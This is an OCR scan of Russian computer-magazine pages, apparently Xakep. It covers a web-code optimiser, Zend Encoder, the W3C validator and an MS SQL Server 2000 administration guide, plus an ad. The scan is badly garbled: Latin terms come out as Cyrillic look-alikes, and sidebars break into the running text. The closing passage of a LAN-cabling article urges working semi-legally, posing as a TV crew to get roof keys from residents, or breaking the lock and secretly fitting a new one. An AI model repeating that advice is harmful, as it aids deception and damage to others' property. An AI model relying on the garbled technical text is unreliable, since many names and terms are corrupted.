Важно отметить, что программа никогда не испортит код страницы 
или сценария. Любая веб-страница после обработки выглядит точно 
так же, как и до оптимизации. Это особенно важно в случае исполь- 
зования расширенной гипертекстовой разметки ХНТМЕ (ЕХТепзіЫе 
НурегТехТ Магкир Еапдиаде). Ее особенности — плотное взаимодей- 
ствие с ХМЕ (ЕхТепзіЫе Магкир Еапдиаде) и, что очень важно в нашем 
случае, значительно более жесткие правила по отношению к синтак- 
сису разметки. Напомню, что НТМЕ разрешает отходить от стандар- 
тов и вполне успешно использовать, к примеру, следующую 
конструкцию: <Ьхі>Полу>і<ирный, курсивный теі<ст</Ьх/і> (наруше- 
на вложенность тэгов). В ХНТМЕ подобная конструкция считается неп- 
риемлемой, однако \л/ЗсотрІіег такая строгость ничуть не пугает. Раз- 
работчики потрудились на славу и реализовали отличные алгоритмы 
оптимизации, которые при всей своей эффективности безопасны для 
кода и отвечают всем необходимым стандартам и инструкциям. 
Сколько бы я ни использовал эту программу, обрабатывая ею 
ХНТМЕ-файлы и самые разнообразные скрипты, я так и не получил 
от браузера сообщения об ошибке. Поначалу, разумеется, были 
некоторые сомнения, и я активно использовал дополнительную 
функцию программы — быстрое сравнение внешнего вида стра- 
ницы. Утилита в одном окне открывает сразу два варианта доку- 
мента: изначальный и оптимизированный, предоставляя тем са- 
мым возможность сравнить их внешний вид и выловить потенциаль- 
ные ошибки. Признаться честно, ошибок я не нашел. 

В настройках утилиты доступны многочисленные параметры оптими- 
зации. Если, например, необходимо обработать только НТМЕ- и РНР- 
код, то это легко выполняется с помощью установки нескольких оп- 
ций. А чтобы навсегда исключить какой-либо файл из списка оптими- 
зируемых, достаточно добавить в его текст специальную диреістиву 
<!- посотргезз -> — теперь \л/Зсотрі!ег будет этот файл игнориро- 
вать. Но и это еще не все. Если нужно оптимизировать лишь часть ко- 
да, то тебе сам Бог велел использовать директивы <!- зЕаіТідпоге -> и 
<!- епсіідпоге ->. Помещенный ме>кду ними код останется как есть, в 
то время как вся остальная часть файла будет обработана. Впро- 
чем, бояться в любом случае нечего: все изменения можно сразу же 
отменить, так как в программу встроена функция отката. 




[2епй Епсосіег — небольшая утилита о огромными возможностями] 




Прежде чем настраивать 
сервак и устанавливать 
различные допрлнения к 
используемпму срфту, 



.'Ті ' спрсси согласия админи- 



стратора. В противном 




На наших дисках ты, как 
всегда, найдешь описанный 
в статье софт. В том числе 
Арасйе, ВНР, Іепб 
Оріітпігег, Іепс! ЕпсоВег, 
ВНР Ассеіетаіог, шЗсотпрІІІ- 



случае ему это может не ет, а также исходники 

понравиться. Магкир ѴаІИаНоп Зетѵісе. 




[БОРЬБА С ПЛАГИАТОМ, ИЛИ ШИФРУЕМСЯ ПО ПОЛНОЙ!] 

В наш РАО часто приходит следующий вопрос: каким образом можно зашифровать РНР-скрипт, чтобы злоумышлен- 
ник не мог прочитать его содержимое? Пришло время расставить все точки над і. 

Существует несколько разработок в этой области, однако заслуженным доверием может похвастаться только одна из 
них. Позволь представить: 2епс1 Епсосіег (ѵѵѵѵѵѵ.іепсі.сопп). Эта утилита занимается тем, что компилирует исходный текст 
РНР-скрипта из обычного вида ріаіп Іехі в специальный двоичный формат — так называемый 2епс1 Іпіегтесііаіе Сосіе. 
Такие с|эайлы не могут быть прочитаны человеком или преобразованы обратно. Поэтому их можно смело распростра- 
нять среди широкого круга людей, не опасаясь за сохранность содержимого и нарушение авторских прав. 

По понятным причинам стандартное ядро РНР не имеет возможности интерпретирования подобных файлов, и на сер- 
вер необходимо установить специальное дополнение — Тбе 2епс1 Оріітігег. С его помощью бинарники будут выпол- 
няться на сервере точно так же, как и обычные РНР-сценарии, без какой-либо видимой разницы. 

Важно заметить, что слово «Оріітігег» в названии дополнения не случайно: платформа 2епс1 действительно ускоряет 
работу скриптов, причем на уровне, сравнимом с РНР Ассеіегаіог’ом. Версии 2епс1 Орііппігег’а разрабатываются подо 
все возможные платформы, в том числе Гіпих, МасОЗ X, РгееВЗО, Зоіагіз и даже ѴѴіпсІоѵѵз. 
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[выбор папки для оптимизации] 
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[сайт \д/\л/ѵѵ.хакер.ги изобилует ошибками. Непорядок!] 



[ѵѵЗсотріІег: процесс идет!] 



[проверка на вшивость] В отличие отХНТМІ, спецификация НТМІ до- 
пускает некоторые вольности в отношении синтаксиса. Можно со- 
вершенно безнаказанно игнорировать некоторые конструкции и 
синтаксические правила, и браузер в большинстве случаев вполне 
корреістно их обработает. Однако делать этого не стоит по нес- 
кольким причинам. 

Во-первых, это считается плохим тоном программирования и, 
вообще говоря, уделом новичков и полупрофессионалов. А 
во-вторых, не стоит забывать, что посетители могут использо- 
вать самые разнообразные браузеры. И если с Іп1‘егпе1' 
Ехріогег'ом, РігеЕох'ом и Оперой такая фишка, скорее всего, 
прокатит, то за корректную интерпретацию в менее известных 
бродилках никто поручиться не может. 

Чтобы избе>кать возможных накладок, я тебе настоятельно ре- 
комендую всегда проверять публикуемый код на соблюдение 
правил и стандартов, благо выполнять эту операцию вручную 
совсем не обязательно. Неоценимую помощь окажут так назы- 
ваемые валидаторы — программы или скрипты, которые про- 
изводят синтаксический разбор кода. Самый известных из них 
— онлайн-сервис Магкир ѴаІІбаІіоп Зегѵісе {ѵаНбаіог.ѵ/З.огд). 
Огромную популярность он получил благодаря тому, что был 
разработан самим веб-консорциумом — именно он утверж- 
дает стандарты и технологии, используемые в интернете, а 
значит, доверять результатам его утилит можно на все 200% 



(блин, а если я хочу доверять на пицот процентов? — Прим, до- 
цента Бублика). 

Чтобы понять, как работать с валидатором, достаточно зайти на его 
сайт, и все сразу станет ясно. Указав сервису 11[?1 веб-страницы или 
файл с локального диска, ты сразу же получишь страницу с результа- 
том. Если проверка прошла успешно и сайт полностью отвечает тре- 
бованиям стандартов, сервис выдаст соответствующее сообщение и 
предло>кение установить на свой сайт специальный баннер-логотип, 
В противном случае валидатор возвратит список неточностей, нагляд- 
но обозначив ошибку и ее позицию в тексте. Для еще большего пони- 
мания к каждой из ошибок будет приложено небольшое разъясне- 
ние. Так что ты без проблем сможешь все исправить. 

Возможно, кому-то не понравится, что Магкир ѴаІібаТіоп Зегѵісе — это 
онлайновый сервис, а не обычная программа. Не беда! Веб-консор- 
циум совершенно безвозмездно выкладывает на сайт полные исход- 
ники скриптов, которые ты можешь использовать как тебе захочется. 
Например, для установки на свой локальный веб-сервер. 

[не брезгуй!] Мои рекомендации — это не пустые слова. Вполне мо- 
жет оказаться, что выполнять их будет лень или попросту некогда, но 
все х<е забывать о них не стоит. Ну>кно всегда стремиться вы>кать 
максимум, показать себя и свои работы с самой лучшей и профес- 
сиональной стороны, И это касается не только компьютеров, но и 
реальной жизни. Не ленись! :) 
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Эксимер ДМ рекомендует 
МіегозоТі® ѴѴіпсІоѵѵз® ХР . 

На компьютеры ЭКСИМЕР™ устанавливаются 
подлинные продукты семейства МіегозоТІ;® 
ѴѴіпсІоѵѵз®. 

Гарантией качества и сервисной поддержки 
приобретаемых вами продуктов МіегозоЙ® 
является наличие сертификата подлинности 
(СеПіТісаІе о! АиІИепІісііу). 



^^ 8 - 800 - 200 - 4^545 

Б^^ шатна^ Іин^рЩіацибнна'^ служба 




ІпіеІ, ІпіеІ Іодо, ІпіеІ Іпзісіе, ІпіеІ Іпзісіе Іодо, ІпіеІ Сепігіпо, ІШеІ Сепігіпо Іодо, Сеіегоп, ІпіеІ Хеоп, ІпіеІ ЗреесІЗІер, Ііапіит и Репііит являются товарными 
знаками или зарегистрированными товарными знаками ІпіеІ СогрогаІІоп или ее отделений в США и других странах. 















Спец ификац ия и внешн ий вид оборудования мог ут быть изменен ы 
выпуск продукции [может быть прекращен в одностороннем порядке 
без какого^ибо предварительного уведомления. 



Указанная информация может использоваться исключ итель но для 
заказа продукции ЭКСИМЕР™ у партнеров и не является офертой. 



Сервисное обслуживание техники ЭКСИМЕР™ на территории РФ 
осуществляется НТЦ «Юнисерв» 
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ОлдЗОІный сервер 



БАЗА ДАННЫХ ЯВЛЯЕТСЯ ТЕМ ФУНДАМЕН- 
ТОМ, НА КОТОРОМ СТРОИТСЯ РАБОТА СОВ- 
РЕМЕННОГО ПРИЛОЖЕНИЯ ТИПА «КЛИЕНТ- 
СЕРВЕР». М3 ЗОЕ ЗЕРѴЕВ 2000 СЕГОДНЯ ЗА- 
НИМАЕТ ОДНО ИЗ ВЕДУЩИХ МЕСТ КАК 
ИНСТРУМЕНТ СОЗДАНИЯ БОЛЬШИХ КОРПО- 
РАТИВНЫХ СИСТЕМ В СРЕДЕ ОПЕРАЦИОНОК 
СЕМЕЙСТВА ѴѴІНООѴѴЗ, ПОСКОЛЬКУ ОН ОТ- 
ЛИЧАЕТСЯ ОТНОСИТЕЛЬНО НЕВЫСОКОЙ 
СТОИМ ОСТЬЮ. ДОСТА ТОЧНО БОЛЬШОЙ ПРО- 
ИЗВОЯИ^І^^В^Ь ПРОСТОТОЙ ИНСТАЛ- 

ляцц 



^П РАБЛЕ 



Некоторые аспекты 
установки и управления 
М8 801 8егѵег 



[грубая установка] Отмечу некоторые особенности 
процесса установки сервера 3^^ Зегѵег 2000, Для на- 
чала процедуры инсталляции необходимо запустить 
программу зеі'ирзді.ехе из каталота ХхВбХзеЮр с уста- 
новочното СО. Далее следует обычная для ѴѴІпсІо\л/з- 
приложений серия визардов, в которых последователь- 
но надо отмечать переключатели, флажки, выбирать 
списки и прочее. Остановлюсь только на моментах, 
требующих определенных знаний, чтобы выбрать раз- 
личные варианты дальнейших действий. 

Во-первых, при выборе типа компьютера для установки 
серверной СУБД возможно несколько вариантов: на 
локальном (ІосаІ) или удаленном (12ето1'е) компьюте- 
ре. Установка на удаленный компьютер возможна, ес- 
ли на нем работают операционные системы, построен- 
ные на ядре N7 (ѴѴІпсІо\л/з МТ/2000/ХР). Кроме этих вари- 
антов, ты можешь увидеть затененный переключатель 
Ѵіті'иаі Сотри+ег, который станет доступным, только ес- 
ли установка запускается на компьютере, входящем в 
кластер. 

Во-вторых, тип инсталляции таіоке многовариантен: 

- СІІѲП7 Тооіз Опіу («Только инструментарий клиента») — 
позволяет установить на клиенте только средства адми- 
нистрирования СУБД. 

- ЗѳгѵегапсІ СІІѳпТ Тооіз («Сервер и инструментарий кли- 
ента») — будет инсталлирован сам сервер, а таіоке 
средства администрирования. Этот вариант установки 
стоит по умолчанию, поскольку используется в больши- 
нстве случаев. 

- СоппесТіѵіТу ОпІу («Только соединение») — будут уста- 
новлены компоненты, обеспечивающие соединение с 
сервером М3 ЗСТ. 

Далее остановлюсь на возможных типах установки: 

- МіпітаІ. При выборе данной опции будет установ- 
лена протрамма ЗСТ Зегѵег Зегѵісе Мападег, основ- 





Перед созданием резерв- 
ной копии базы данных 
обязательно проверь, не 
содержит ли она каких-ли- 
бо нарушений. В этом тебе 
поможет утилита ОВСС, 
которую надо запустить в 
окне 50І Оиегу Апаіузет с 
параметрами СНЕСОВ 
('баіаЬазе_пате'). 




При установке сервера 
ВОЕ Зегѵег 2000 автомати- 
чески появляется несколь- 
ко безданных. Главная из 
них — база данных таз- 
Іег, в которой хранится ин- 
формация системного 
уровня, в частности о 
пользователях, учетных 
записях, параметрах наст- 



ное назначение которой 
состоит в запуске, приоста- 
новке и полной остановке раз- 
личных служб. Этот тип инсталля- 
ции надо использовать, если ты не 
будешь управлять сервером локально. 

- ТурісаІ. В этом случае при инсталляции ЗОБ Зегѵег будут установле- 
ны утилиты, необходимые для управления сервером с данного 
компьютера. 

- СизІ'оіті. Если выберешь эту опцию, то сможешь определить конк- 
ретные компоненты для инсталляции. Дополнительно здесь можно 
указать необходимость установки системы полнотекстового поис- 
ка (РиІІ-ТехТ ЗеагсТі), а таіоке различных библиотек разработчика, 

И напоследок отмечу настройку учетных записей служб, под кото- 
рыми будет работать ЗОЕ Зегѵег. Здесь предусмотрено два режи- 
ма: 

- ЕІзе ЕІте зате ассоипЕ Тог еасТг зегѵісе. АиТо зЕагТ ЗОЕ Зегѵег Зегѵісе 
(«Использовать учетную запись для всех служб. Автостарт ЗОЕ 
Зегѵег Зегѵісе») — используется одна учетная запись для всех 
служб, причем службы запускаются автоматически при старте 
операционной системы, 

- СизЕотее ЕЕте зеЕЕІпдз Еог еасЕі зегѵісе («Настроить параметры для 
каждой слуткбы») — в этом случае ты можешь выбрать либо ЗОЕ 
Зегѵег, либо ЗОЕ Зегѵег АдепЕ и выполнить настройки для каждой 



ройки системы. Поскольку 
информация в ней посто- 
янно меняется, то регуляр- 
но создавай полную резе- 
рвную копию этой базы! 




■ [шлифуем напильником] Настройка уже ус- 
Ітановленного сервера М3 801 осуществля- 
Іется с помощью графической консоли прог- 
Іраммы Епі'егргізе Мападег, которую надо 
Ізапустить из группы МісгозоН' ЗОЕ Зегѵег. На- 
Ідо сказать, что здесь в полной мере реали- 
зована современная концепция централи- 
зованного управления распределенными 
Іинформационными ресурсами (базами 
Іданных). Если ты обладаешь соответствую- 
Іщими правами, то не вставая с места смо- 
Іжешь подключиться к любому серверу М3 
ІЗОЕ, доступному для Епі'егргізе Мападег'о, и 
I централизованно управлять им. 

ІСписок доступных ЗОЕ-серверов отобра- 
жается в дереве консоли в левой части эк- 
рана, ЕЕ[елкнув правой кнопкой мыши по од- 
ному из серверов, ты перейдешь к окну его 
свойств. Кратко перечислю назначение 
вкладок. 

- ѲепегаЕ Здесь отражены общие сведения 
о ЗОЕ Зегѵег 2000 и операционной системе, 
производится настройка автоматического 
запуска при загрузке операционки трех ос- 
новных служб: 

Ш ЗОЕ Зегѵег — ядро ЗОЕ Зегѵег 2000, отвеча- 
ющее за большинство функций. 

Ш ЗОЕ Зегѵег АдепЕ — служба, которая авто- 
матизирует некоторые процессы, выполня- 
емые на сервере. Подробнее о функциях 
этой службы далее в статье, 

[Ц МЗОТС — служба-координатор распре- 
деленных транзакций (ОТО — ОізІгіЬиІіоп 
Тгапзасііоп Соогсііпаіог), одновременно вы- 
полняющая в различных базах данных нес- 
колько локальных транзакций. 

- Меітюгу. Вкладка позволяет задавать один 
из двух способов управления памятью: ди- 
намическое и статическое. При динами- 
ческом управлении следует указать мини- 
мальный и максимальный доступные объе- 
мы памяти. При выборе переключателя ста- 
тического управления тебе придется уста- 
новить фиксированный объем памяти, кото- 
рый не может быть использован операци- 
онной системой. Переключатель І2езегѵе 
рЕіузісаІ теітюгу Іог ЗОЕ Зегѵег позволяет 
запретить операционке сохранение любых 
данных сервера в виртуальной памяти на 
диске. А минимальный объем памяти, выде- 
ляемый для запроса пользователя к базам 



данных, 
сможешь за- 
дать с помощью па- 
раметра Міпітит диегу ' 
тетогу. Только запомни, 
что увеличение этого парамет- 
ра хотя и уменьшит время выполне- 
ния запроса, но снизит производитель- 
ность сервера при обслуживании большо- 
го количества пользователей. 

- Ргосеззог. Здесь ты сможешь подключить к 
работе сервера баз данных все имеющие- 
ся в твоей системе процессоры, если у тебя 
их несколько. ЗОЕ Зегѵег 2000 построен та- 
ким образом, что кахдый запрос пользова- 
теля выполняется как отдельный поток 
(ІЕігеасІ), Еіа этой вкладке ты можешь опре- 
делить максимальное количество потоков 
(Махітит \л/огкег ІЕігеасІз), одновременно 
обрабатываемых сервером, что, как ты до- 
гадываешься, позволяет регулировать про- 
изводительность работы сервера. Если ко- 
личество клиентов сервера больше уста- 
новленного числа, то часть потоков поме- 
щается в пул. Туда же, как правило, попада- 
ют и простаивающие клиенты, от которых 
долго нет запросов. 

На производительность ЗОЕ-сервера влияет 
установка флажков Воозі ЗОЕ Зегѵег ргіогііу 
оп ѴѴІпсІо\л/з и ЕІзе ѴѴІпсІо\л/з N1 ІІЬегз. Первый 
повышает приоритет процесса работы 
сервера баз данных и, следовательно, ус- 
коряет выполнение пользовательских зап- 
росов. Второй разрешает использование 
волокон (ІІЬегз), которые переключаются 
быстрее, чем отдельные процессы, и тем 
самым увеличивают производительность 
приложения. 

- Зесигііу. Доступ к ЗОЕ Зегѵег возможен при 
двух различных режимах аутентификации: 
ЗОЕ Зегѵег апсі ѴѴІпсІо\л/з и \Л/іпсІо\л/з опіу. Пер- 
вый режим — так называемый смешанный. 
Он предполагает, что если пользователь 
прошел аутентификацию в сети ѴѴІпсіо\л/з, то 
обязан ее пройти и на ЗОЕ Зегѵег. В этом слу- 
чае сервер баз данных использует свою 
базу учетных записей пользователей, эле- 
менты которой могут и не совпадать с учет- 
ными записями базы ѴѴІпсІо\л/з. При другом 
режиме на ЗОЕ Зегѵег хранятся идентифика- 
торы допущенных к работе с сервером 
учетных виндовых записей, права которых 
контролируются при попытке войти на сер- 
вер. В большинстве случаев используется 
именно этот режим, а установка смешанно- 
го режима аутентификации бывает необхо- 



дима в случае 
доступа к ЗОЕ-сер- 
веру из других операци 
онных систем или интернета. 

- Соппесііопз. На этой вкладке ты 
можешь установить количество од- 
новременно подключаемых клиентов 
(Махітит сопсиггепЕ изег соппесііопз). Зна- 
чение этого параметра, равное нулю, озна- 
чает, что количество подключений неогра- 
ничено. Здесь таіоке можно регулировать 
число секунд, отводимое системой на вы- 
полнение пользовательского запроса (па- 
раметр Оиегу Еіте-оиЕ), разрешать другим 
серверам устанавливать удаленное соеди- 
нение с твоим серваком посредством уда- 
ленного вызова процедур (РРС — РетоЕе 
Ргосесіиге Саііз) и многое другое. 

- Зегѵег ЗеЕЕІпдз и ОаІаЬазе ЗеЕЕіпдз. Допол- 
нительные параметры, которые ты можешь 
установить на этих вкладках, касаются вы- 
бора языка представления диалоговых 
окон, возможности напрямую модифициро- 
вать системные таблицы, установки цены 
запроса (количество секунд на один зап- 
рос), настройки профиля для службы ЗОЕ 
МаіІ, управления параметрами резервного 
копирования/восстановления данных и др. 

- РеріісаЕіоп. Вкладка используется для уп- 




[выбираем платформу для ЗОЕ Зегѵег 2000] 
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[выбираем тип инсталляции сервера] 

равленир репликацирми. Репликацир — од- 
но из мощнейших средств перемещенир и 
копировонир в реальном режиме времени 
информации ме>кду разными серверами. В 
нем участвуют три процесса (сервера): 

[Е издатель (риЫізІпег) — сервер ЗОР Зегѵег 
2000, предоставлрющий свои данные для 
копировонир на другие серверы, 

[Ц подписчик (зиЬзсгіЬег) — сервер, копиру- 
ющий данные, предоставляемые издателем. 
[Ц дистрибьютор (сІіз1тіЬи1'ог) — сервер, выс- 
тупающий в роли посредника ме>кду изда- 
телем и подписчиками. В его задачи входит 
копирование данных, подготовленных изда- 
телем, и тиражирование их, тем самым разг- 
ружая издателя. В большинстве случаев 
дистрибьютор и издатель физически распо- 
ложены на одном сервере, допускается 
также расположение дистрибьютора как 
на отдельном сервере, так и на сервере 
одного из подписчиков. С помощью заклад- 
ки І^ерііса+іоп ты можешь сконфигурировать 
на своем сервере одновременно и дист- 
рибьютора, и издателя. 

[обслуживание на автомате] Ты уже понял из 
прочитанного выше, что сетевая система уп- 
равления базами данных 5^^ Зегѵег 2000 
имеет множество настроек. Но мечта адми- 
нистратора — один раз настроить и забыть 
— в случае использования баз данных нео- 
существима, поскольку современный сер- 
вер является аіаивным. Это значит, что он не 
только реагирует на запросы пользователей, 
но и сам инициирует обработку хранимых 
данных. В его арсенале есть для этого необ- 
ходимые инструменты: хранимые процедуры 
и триггеры. Объем данной статьи не позволя- 
ет подробно познакомиться с их функциями, 
но тебе сейчас важно понять главное: сете- 
вая база данных не является статичным хра- 
нилищем информации, ее содержимое с те- 
чением времени меняется, и она переходит, 
как говорят спецы, из одного установившего- 
ся состояния в другое (это типа из физики что- 
то такое припоминаю, ага. — Прим, доцента 
Бублика). И поскольку все течет, все изменя- 
ется, периодически возникают проблемы, 
которые надо непрерывно отслеживать и 
оперативно устранять. Есть ли в ЗОЕ Зегѵег 
2000 инструменты для осуществления таких 
функций? Да, это служба ЗОЕ Зегѵег АдепЕ. 
Чтобы ЗОЕ Зегѵег 2000 функционировал ус- 
пешно, запуск службы ЗОЕ Зегѵег АдепЕ не 
обязателен. Однако ее использование зна- 
чительно повышает возможности и отказо- 
устойчивость ЗОЕ Зегѵег. Она работает с 
тремя видами объектов: 

[Е ОоЬз — задания. Для любого задания 
можно составить расписание запуска. Ти- 
пичными примерами являются задания на 
репликацию и резервное копирование. За- 



дание может состоять из нескольких шагов, 
ка>кдый из которых, в свою очередь, может 
представлять собой команду на языке зап- 
росов ТгапзасЕ-ЗОЕ, скрипт или утилиту ко- 
мандной строки. Шаги могут быть связаны 
друг с другом. Другими словами, в зависи- 
мости от результата выполнения данного 
шага ты можешь задать какое-либо 
действие, например переход к определен- 
ному шагу. Таким образом, задание может 
представлять собой разветвленную прог- 
рамму. В результате ты имеешь мощный 
инструмент для автоматизации работы все- 
го сервера ЗОЕ, 

[Е АІегЕз — предупре>кдения. Этот объект 
представляет собой собъітие, при наступ- 
лении которого заинтересованным пользо- 
вателям (операторам) будет отправлено 
соответствующее сообщение (например, 
об отсутствии места на диске). 

[з] ОрегаЕогз — операторы (пользователи). 
Этот объект содержит информацию о юзе- 
рах, отвечающих за поддержку сервера в 
рабочем состоянии: адрес электронной 
почты, сетевой адрес, атрибуты пейджин- 
говой связи. По указанным адресам ЗОЕ 
Зегѵег АдепЕ пошлет соответствующее со- 
общение при наступлении какого-либо 
критического события (если какой-нибудъ 
хакер удалил пару таблиц, например :)), 
аварийной ситуации и т.п. 

Настройка службы ЗОЕ Зегѵег АдепЕ и всех ее 
объектов осуществляется из консоли ЗОЕ 
Зегѵег ЕпЕегргізе Мападег папки МападетепЕ. 

[управление системой безопасности] ЗОЕ 

Зегѵег 2000 — сетевая система баз данных. 
Использование ее в качестве настольной 
системы доступа к данным имеет смысл 
разве только для отладочных целей. Поэто- 
му неслучаен тот факт, что ее безопасность 
интегрирована с сетевой системой безо- 
пасности, поскольку все пользователи ЗОЕ 
Зегѵег являются вместе с тем и сетевыми 
пользователями. 

Допуск юзеров к ресурсам ЗОЕ-сервера 
начинается с аутентификации. Этот про- 
цесс предполагает, что пользователь для 
доступа к серверу использует одну из учет- 
ных записей, хранящихся в разделе 
Зесигііу/іодіпз программы ЗОЕ Зегѵег 
ЕпЕегргізе Мападег, При активизации этого 
раздела в правом окне консоли отобража- 
ется список учетных записей. Новая учетная 
запись создается щелчком правой кнопки 
мыши по строке Еодіпз и выбором в появив- 
шемся меню пункта Ые\л/, а изменение наст- 
роек производится через ее свойства. 

[интеграция с ѴѴеЬ] У ЗОЕ Зегѵег 2000 есть за- 
мечательная возможность — автоматизиро- 
вать публикацию запросов к базам данных, 
используя НТМЕ-документы. Этот механизм 
реализован в виде мастера ѴѴеЬ АззізЕапЕ, 
работу которого можно настроить на вывод 
сколь угодно сложных запросов, сформиро- 
ванных в хранимой процедуре. Запрос будет 
выполняться по расписанию либо при изме- 
нении отображаемых данных. Сформиро- 
ванная таким мастером ѴѴеЬ-страница мо- 
жет быть просмотрена любым браузером. 
Во многих случаях подобный способ ѴѴеЬ- 
публикаций оказывается более чем достато- 
чен, особенно в интранет-сетях компаний. 
Обратись к списку мастеров в программе 
ЕпЕегргізе Мападег из пункта меню 
ТооІз/ѴѴІгагсІз. Будет открыто окно со списком 



всех мастеров, доступных в ЗОЕ Зегѵег 2000. В 
разделе МападетепЕ этого окна выбери 
пункт ѴѴеЬ АззізЕапЕ ѴѴІгагсІ. Это и есть мас- 
тер, позволяющий создавать НТМЕ-документ 
на основе баз данных ЗОЕ Зегѵег 2000 0 



[КАК НЕ ПОТЕРЯТЬ ДАН- 
НЫЕ?] 

Потеря данных — не такое уж редкое 
явление. Причины могут быть самые 
разные: сбои в электропитании и аппа- 
ратном обеспечении, ошибки в работе 
системного и прикладного программно- 
го обеспечения, да и просто человечес- 
кий фактор. Любая причина может выз- 
вать частичную или полную потерю 
данных, и тогда инфу придется восста- 
навливать. Чтобы восстановление было 
успешным, своевременно позаботься о 
создании регулярных резервных копий. 
Какие типы резервного копирования су- 
ществуют в М8 80Е 8егѵег? 
ц] Полное резервное копирование 
базы данных (сІаЕаЬазе Ьаскир). В этом 
случае все содержимое базы данных 
будет помещено в один или несколько 
файлов. Такой тип резервного копиро- 
вания является фундаментом, на кото- 
ром строится вся методология сохра- 
нения данных. 

Л Дифференциальное резервное ко- 
пирование (сііЕЕегепЕіаі сЕаЕаЬаэе Ьаск- 
ир). При таком методе сервером отсле- 
живаются только изменения, произо- 
шедшие со времени полного резервно- 
го копирования. Хотя такая копия ком- 
пактнее и требует меньше времени 
для своего создания, но для восста- 
новления базы данных обязательно 
потребуется полная резервная копия. 

3 Резервное копирование файлов и 
групп файлов (Еііе апсі Еііедгоир Ьаскир). 
Этот тип позволяет архивировать толь- 
ко данные, принадлежащие указанно- 
му файлу или группе файлов. По умол- 
чанию для хранения данных создается 
один файл, его имя и размещение за- 
даются пользователем при формиро- 
вании базы данных. Однако ты мо- 
жешь для повышения отказоустойчи- 
вости задать несколько файлов и 
распределить по ним конкретные объ- 
екты данных (столбцы, таблицы, хра- 
нимые процедуры и др.). В чем смысл? 
В том, что данные таблиц, которые 
подвергаются частым изменениям, 
можно собирать в отдельный файл и 
осуществлять регулярное резервное 
копирование именно этого файла. 

3 Резервное копирование журнала 
транзакций (ЕгапзасЕіоп іод Ьаскир). 
Данный тип означает копирование ин- 
формации о транзакциях (произведен- 
ных изменениях), зафиксированной в 
соответствующем журнале. В нем 
отображается состояние базы данных 
до начала транзакции и после ее за- 
вершения. Если ты выбрал такой тип 
резервного копирования, то сервер 
будет сканировать журнал транзакций 
и помещать в архив информацию 
только о тех транзакциях, которые 
произошли с момента последнего ре- 
зервного копирования. 




Исследуйте мир вместе 
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ЮНИТЫ КРЕАТИФФ КОДИНГ УМІХОЮ СЦЕНА ВЗЛОМ ИМПЛАНТ [РС^20ЫЕ] РЕРПУМ НЬЮСЫ 




КАЗАЛОСЬ БЫ, ЧТО МОЖЕТ БЫТЬ ПРОЩЕ, ЧЕМ ПРОЛОЖИТЬ ЛОКАЛЬНУЮ СЕТЬ? ПОШЕЛ В МАГАЗИН, 
КУПИЛ СЕБЕ ДЕСЯТОК СЕТЕВУХ, ДЕШЕВЫЙ СВИТЧ ДА БУХТУ ВИТУХИ — ВОТ ТЕБЕ И ЛОКАЛКА. ОД- 
НАКО НА ПРАКТИКЕ ВСЕ ПОЛУЧАЕТСЯ НАМНОГО СЛОЖНЕЕ... Я НЕ СТАНУ РАССКАЗЫВАТЬ ТЕБЕ О 
БАНАЛЬНЫХ ВЕЩАХ — КАКОЕ ОБОРУДОВАНИЕ НУЖНО ИСПОЛЬЗОВАТЬ ИЛИ КАК ЕГО НАСТРОИТЬ. 
ДЛЯ НЕБОЛЬШОЙ ЛОКАЛЬНОЙ СЕТИ (100 МБИТ/С) ВПОЛНЕ ПОДОЙДУТ ДЕШЕВЫЕ НЕКОММУТИРУЕ- 
МЫЕ СВИТЧИ (НАПРИМЕР, СМЕТ И ТРЕМСМЕТ С ПЯТИЛЕТНЕЙ ГАРАНТИЕЙ) И ОБЫЧНЫЕ СЕТЕВУХИ, 
КОТОРЫЕ ВООБЩЕ МАЛО ЧЕМ ОТЛИЧАЮТСЯ. В НАСТРОЙКЕ ТАКОЕ ПРОСТОЕ ОБОРУДОВАНИЕ, СА- 
МО СОБОЙ, НЕ НУЖДАЕТСЯ. ЗНАЧИТЕЛЬНО ИНТЕРЕСНЕЕ РАССМОТРЕТЬ АСПЕКТЫ ОБУСТРОЙСТВА 
СЕТИ, ЕЕ ПРОКЛАДКИ. ВЗЯТЬ, К ПРИМЕРУ, РАБОТУ С ПОДВЕСНЫМИ КАБЕЛЬНЫМИ ЛИНИЯМИ — С 
ЭТОГО И НАЧНЕМ I Степан Ильин ака З+ер (5І’ѳр@геаІ. хакер. ш) 
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Фишки монтажников 

[воздушка] Наладить коммуникацию между двумя до- 
мами можно двумя способами: по воздуху и под зем- 
лей. К сожалению, второй вариант для нас совершенно 
неприемлем, так как в этом случае придется обращать- 
ся к специальным госслужбам и, соответственно, выло- 
жить немало денег. Более того, возможность проложить 
кабель под землей ме>кду двумя конкретными домами 
имеется далеко не всегда. 

Совсем по-другому дела обстоят с прокладкой кабеля 
по воздуху, Воздушка с самого появления домашних ло- 
кальных сетей стала одним из фундаментальных поня- 
тий и активно используется по сей день. Как и любой 
другой вид работ, она регламентируется специальны- 
ми требованиями и стандартами. Разработаны они бы- 
ли довольно давно, поэтому во многом не отвечают сов- 
ременным реалиям — трогать мы их не будем. Но есть 
куда более весомая проблема — прокладка подвес- 
ных линий является строительной деятельностью, для 
которой, естественно, требуется разрешение и лицен- 
зия, Стать легальным ЕІІтегпеІ-провайдером (читай, по- 
лучить все необходимые лицензии) тебе не грозит — в 
одни только бумаги придется вложиться как минимум на 
несколько тысяч долларов. Поэтому действовать мы бу- 
дем полулегально, зато осторожно. Проблемы в этом 
случае практически исключены. 

[где ключи от танка?] Во время прокладки сети тебе и 
твоей команде придется много работать на крыше. 
Коммунальные службы, вообще говоря, строго запре- 
щают выходить на крыши обычным омертным и тем бо- 
лее производить там какие-либо работы. Поэтому пер- 



вой твоей проблемой станет поиск ключей. Если окажется, что они 
находятся в домоуправлении (а так и должно быть!), то без связей 
туда лучше не идти. Я говорю вполне серьезно. Местные тетеньки, 
услышав о сетях, воздушках и прочих непонятных вещах, скорее 
всего, незамедлительно пошлют тебя куда подальше. Вывод: с ними 
лучше не связываться. Лучше отправляйся на поиски ключей к жиль- 
цам. Здесь есть одна хитрость: чтобы лишний раз не травмировать 
расшатанную психику наших граждан, твоей команде лучше будет 
представиться телевизионщиками. Им жильцы почему-то доверяют 
больше, нежели каким-то там «интернетам» и «лоХалкам». Хотя и это 
не гарантирует стопроцентный результат. Если раздобыть ключ все 
же не удастся, хочешь — не хочешь, замок придется ломать. Проя- 
ви все свои шпионские способности (электролобзик, фомка и т.п. 
тебе в помощь) и оперативно проверни эту нехитрую операцию. 
Сбитый замок нужно немедленно заменить на свой, причем так, 
чтобы ниіао не заметил подмены. 
